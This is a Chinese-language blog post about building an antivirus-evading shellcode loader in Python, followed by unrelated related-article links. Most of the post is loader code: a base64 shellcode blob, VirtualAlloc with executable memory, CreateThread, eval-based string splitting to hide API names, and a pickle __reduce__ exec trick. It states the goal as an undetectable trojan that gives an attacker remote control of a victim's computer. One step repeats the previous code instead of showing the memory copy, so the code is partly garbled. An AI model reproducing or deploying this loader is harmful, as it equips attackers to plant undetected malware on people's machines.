多年的实战经验,告诉你的免杀实录!

简介: 多年的实战经验,告诉你的免杀实录!

生成shellcode加载器,不论什么语言都能实现。从应用最广的Java和Pytho语言选择,我用Python实现shellcode加载器,原因2点:

      (1)Java开发shellcode加载器,最终打成.exe包远远大于Python,谁愿意下载一个几十M的文件呢?(2)因为自己有一定的Python基础,所以这里对Python实现的源码来进行分析。



一、首先我们生成一个Python的马,如下图:

二、对Python生成shellcode源码分析

1. Ctypes

由于Python不能对内存进行操作,可以用ctypes跟c进行交互,用c操作内存

import ctypes,codecs,base64

# 64位编码

shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj"
# base64解码
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

2. 申请内存

  1. ctypes 是Python跟c交互的外部函数,用c分配内存,需要把数据转换为c的数据类型
  2. 参数:要分配的内存区域的地址、分配的大小、分配的类型、该内存的初始保护属性
  3. VirtualAlloc:分配大块内存,可用于 进程A和进程B之间通过共享内存来通信
  4. 该函数一个特性:可以预定指针地址和大小的虚拟内存空间,如果系统有足够大的空置区域能满足需求,则系统会将该块区域预定下来并返回预定内存的基地址,否则返回NULL
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

3. 放入shellcode

  1. 指定内存复制内存至buf里面
  2. 参数:指向移动目的地址的指针、指向要复制的内存地址的指针、指定要复制的字节数
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

4.创建一个线程

  1. 参数说明:指向安全属性的指针、初始堆栈大小、指向起始地址的指针、指向任何参数的指针、创建标志、指向接收线程标识符的值的指针
  2. 调用时,系统将创建一个进程和一个主线程,CreateThread将在主线程的基础上创建一个新线程
d = 'ctypes.windll.kernel32.' + 'CreateThread'
ht = eval(d)(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

5. 等待上面创建的线程运行完

e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject'
eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))

6. 调用

class A(object):
  def __reduce__(self):
      return (exec, (shellcode,))
__reduce__ 被定义之后,对象被pickle之后被调用
ret = pickle.dumps(A())
print(ret)
pickle.loads(ret)

7. 最终达到目的

最后生成exe可执行文件

用户直接 执行exe,便种下一个免杀木马,攻击者便可以远控你的电脑

8. 最后测试木马免杀效果

9. 然后给沙箱

相关文章
510特辑 | 读懂阿里日,也就读懂了阿里
510特辑 | 读懂阿里日,也就读懂了阿里
691 0
|
15天前
|
人工智能 算法 大数据
技术之旅:从新手到专家的蜕变####
【10月更文挑战第20天】 本文探讨了个人在技术领域的成长历程,通过真实案例与深刻感悟,揭示了持续学习、实践积累与心态调整的重要性,为读者提供了一条从技术新手迈向专家的可行路径。 ####
21 8
mqc
|
缓存 安全 Java
测试之道--阿里巴巴八年测试专家倾情奉献
我从事测试工作将近八年了,从起初的不懂测试,怀疑测试,到相信测试,再到坚定测试,其中经历的辛酸、煎熬无法言表。在从事测试工作的这八年里,有人质疑,也有人追捧,唇枪舌剑,没完没了,貌似测试永远都是个站在舆论风口浪尖的角色。
mqc
8122 0
|
3月前
|
机器学习/深度学习 人工智能 算法
技术成长之路:从新手到专家的心路历程
【8月更文挑战第9天】在技术的世界里,每个人都是从零开始。本文将通过个人经历,探讨如何在技术的海洋中不断学习和成长,最终成为领域内的专家。我们将一起回顾那些挑战与成就,以及它们如何塑造了一个技术人员的职业轨迹。
|
3月前
|
程序员 开发者
技术成长之旅:从新手到专家的蜕变之路
【8月更文挑战第8天】在技术的海洋中,每一位程序员都曾是一名初学者。本文将通过个人经历和行业观察,探讨如何从技术新手成长为领域专家的过程。我们将深入讨论持续学习、实践、反思、交流与创新的重要性,并分享一些实用的成长策略。无论你是刚刚起步的技术爱好者,还是正在追求更高成就的资深开发者,这篇文章都将为你提供宝贵的启示和指导。
|
调度
|
监控 前端开发 Cloud Native
第十六届 D2 前端技术论坛完成 6 大专场 21 个话题集结,快来划重点,你一定会有所收获!
一年一度的前端盛会D2前端技术论坛就要来啦,话题集结完成,快来报名学习吧!
1608 0
第十六届 D2 前端技术论坛完成 6 大专场 21 个话题集结,快来划重点,你一定会有所收获!
|
云安全 安全 网络安全
【互联网安全知多少】阿里安全专家带你深入背后的技术
安全事件层出不穷,且触目惊心,目前国内黑产市场规模超过1000亿,在巨大的利益刺激下,互联网企业的业务和数据也面临着高风险。 安全事件背后,究竟是什么技术在驱使?又该如何去防范?阿里巴巴安全技术专家带你解开其中的面纱。
7477 2
|
新零售 Java 应用服务中间件
毕玄:我在阿里的十年技术感悟
在阿里,我们习惯尊称毕玄老师为“毕大师”。他2007年加入阿里,一手打造了HSF,十多年来更见证、参与了阿里在基础技术上的演进与发展:如淘宝在2007-2009年的分布式应用架构升级、2013-2016年的阿里电商异地多活架构升级等。但很少有人知道,他大学读的是生物专业。
13303 0
下一篇
无影云桌面